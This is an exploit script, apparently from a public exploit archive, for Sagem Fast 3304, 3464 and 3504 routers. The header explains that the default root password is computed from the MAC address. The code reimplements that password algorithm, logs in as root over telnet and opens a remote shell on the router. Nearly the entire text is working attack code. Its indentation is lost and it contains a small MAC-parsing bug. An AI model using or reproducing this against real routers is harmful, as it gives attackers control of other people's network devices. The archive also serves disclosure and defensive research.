Sagem Router Fast 3304 / 3464 / 3504 Telnet Bypass

`#!/home/bin/python  
  
# Remote Exploit: SAGEM ROUTER FAST 3304/3464/3504 - Telnet Authentication bypass  
# Date: 15-August-2011  
# Author: Elouafiq Ali  
# Version: 3304-V1 / 3304-V2 / 3464 / 3504  
# Tested on: Linux Ubuntu 11.04, Linux Backtrack 5  
# Tested Router: SAGEM FAST 3304-V2  
# Tested on Resellers/ISPs: Wanadoo (France), Maroc Telecom (Morocco)  
# Products affected: Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504  
# Blog: http://keelhaule.tumblr.com  
  
"""  
Sagem Fast Routers (3304-V1 / 3304-V2 / 3464 / 3504) Come with a default Preconfigured Root Password  
That the ISPs don't change it, but instead they create another admin account above it,  
the root password differs from a router to another, since it is computed from its MAC address.  
Thus, each unique router has its own password what makes bruteforce or dictionary attacks inefficient or impossible  
After reverse engineering the Algorithm that computes the default password based on the MAC address  
This exploit opens a remote shell in the remote host.  
(Generally its an Almquist Shell 'ash', which commands are compatible to the Bourne Shell 'bsh')  
  
Usage: ./{file_name} ip_adress mac_address  
"""  
  
  
from telnetlib import Telnet  
import time, sys, tty, termios  
from threading import *  
  
host = ''  
port = 23  
user = "root"  
password=""  
class ReaderThread(Thread):  
def __init__(self, telnet):  
self.telnet = telnet  
Thread.__init__(self)  
  
def run(self):  
while 1:  
str = self.telnet.read_some()  
if str == '': break  
sys.stdout.write(str)  
sys.stdout.flush()  
def mash(a,b):  
first=min(a,b)  
second=max(a,b)  
if( int(second ,16 ) < 10) :  
if(int(first,16)+int(second,16)<=9):  
return chr(ord(first)+int(second,16))  
else:  
return hex(ord(first)+int(second,16))  
else:  
return chr(ord(second)+int(first,16))  
  
def main(host, port):  
telnet = Telnet()  
telnet.open(host, port)  
#Usually Telnet prompt starts with this, if the telnet service provide another  
#prompt, change it to that prompt  
telnet.read_until("login: ")  
telnet.write(user + "\n")  
#the note above also applies for this  
telnet.read_until("Password: ")  
telnet.write(password + "\n")  
#just omit this line if you want to just have the telnet command prompt,  
#or change it to what feel confortable with  
telnet.write("shell\n")  
reader = ReaderThread(telnet)  
reader.start()  
  
fd = sys.stdin.fileno()  
old_settings = termios.tcgetattr(fd)  
tty.setraw(fd)  
while 1:  
if not reader.isAlive(): break  
ch = sys.stdin.read(1)  
telnet.write(ch)  
telnet.close()  
termios.tcsetattr(fd, 1, old_settings)  
  
if __name__ == '__main__':  
try:  
host = sys.argv[1]  
except: pass  
mac_address=sys.argv[2]  
lenght=len(mac_address)  
#some arbitrary value  
password=[ c for c in "00000000" ]  
if lenght!=12 :  
# Input Sanitization and Normalization  
if lenght==17:  
if mac_address[2]==':' :  
mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()  
elif mac_address[2]=='-' :  
mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()  
else:   
print '[!] Please enter a valid MAC address!'   
exit()  
else:  
print "[!] Please enter a valid MAC address!"  
exit()  
  
mac=[ c.lower() for c in mac_address]  
  
password[0]= mash(mac[5],mac[11])  
password[1]= mash(mac[0],mac[2])  
password[2]= mash(mac[10],mac[11])  
password[3]= mash(mac[0],mac[9])  
password[4]= mash(mac[10],mac[6])  
password[5]= mash(mac[3],mac[9])  
password[6]= mash(mac[1],mac[6])  
password[7]= mash(mac[3],mac[4])  
password="".join(p for p in password)  
print "[+] W00t The Passwd is ", password  
main(host, port)  
  
# Exploit written by Ali Elouafiq , Exploit-DB , 2011  
  
`